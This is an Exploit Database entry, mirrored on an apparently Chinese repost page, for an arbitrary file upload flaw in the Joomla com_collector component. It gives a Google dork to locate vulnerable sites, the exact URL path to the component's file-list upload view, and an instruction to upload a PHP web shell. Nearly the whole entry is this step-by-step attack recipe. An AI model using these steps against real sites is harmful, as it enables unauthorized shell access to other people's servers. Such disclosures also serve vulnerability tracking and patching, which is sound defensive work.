Joomla! Component com_collector – Arbitrary File Upload

• Exploit Database
• 11 阅读

• 作者： Red Dragon_al
  日期： 2013-01-19
• 类别：

  • webapps
  平台：

  • php
• 来源：https://www.exploit-db.com/exploits/24228/

• # Exploit Title:Joomla com_collecter shell upload
  # Author: Red Dragon_al (Alb0zZ Team)
  # Home :HackForums.AL,alb0zz.in
  # Date :19/01/2013
  
  # Category:: web apps
  # Google dork: [inurl:index.php?option=com_collector]
  # Tested on: Windows XP
  
  # Download: http://www.steevo.fr/en/download
  # Home Page: http://www.steevo.fr/
  
  ---------------------------------------
  #~ Expl0itation ~#
  ---------------------------------------
  
  1- Google dork: [inurl:index.php?option=com_collector]
  
  2- add this part to the site/index.php?option=com_collector&view=filelist&tmpl=component&folder=&type=1
  
  3- it will look like this http://www.site.com/[path]//index.php?option=com_collector&view=filelist&tmpl=component&folder=&type=1
  
  upload ur shell as : shell.php
  
  
   
  # Greetz :R-t33n , dA3m0n , 0x0 ,The0c_No , AutoRun , Dr.Sql , Danzel , RetnOHacK , eragon, gForce , Th3_Power , AHG-CR3W, & All my friends.
  
  #2013